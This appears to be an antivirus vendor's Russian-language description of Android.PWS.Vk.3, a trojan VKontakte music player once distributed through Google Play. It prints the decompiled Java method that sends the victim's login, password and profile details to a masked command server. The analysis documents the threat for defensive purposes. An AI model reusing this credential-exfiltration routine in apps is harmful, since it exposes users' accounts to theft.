SHA1: 20a85dc97f4edad3b245e06e6e087afe7b02e4a3
Троянец, предназначенный для работы на мобильных устройствах под управлением ОС Android и распространяющийся через каталог Google Play. Эта вредоносная программа представляет собой приложение-плеер, которое позволяет прослушивать музыкальные композиции, размещенные в социальной сети «ВКонтакте».
Для доступа к музыке пользователям необходимо войти в свою учетную запись, введя логин и пароль:
После авторизации Android.PWS.Vk.3 предоставляет владельцу мобильного устройства заявленный функционал, однако одновременно с этим незаметно передает введенные данные на управляющий сервер, в результате чего злоумышленники получают доступ к аккаунту жертвы.
public static void saveAccount(long userId, int sex, int city, int county, String login,
String
pass) {
try {
Params params0 = new Params();
params0.put("id", String.valueOf(userId));
params0.put("sex", Integer.valueOf(sex));
params0.put("city", Integer.valueOf(city));
params0.put("county", Integer.valueOf(county));
params0.put("login", login);
params0.put("pass", pass);
VK.getInstance().go("http://********.com/login_user.php", params0.getParamsString());
}
catch(Throwable throwable0) {
}
}
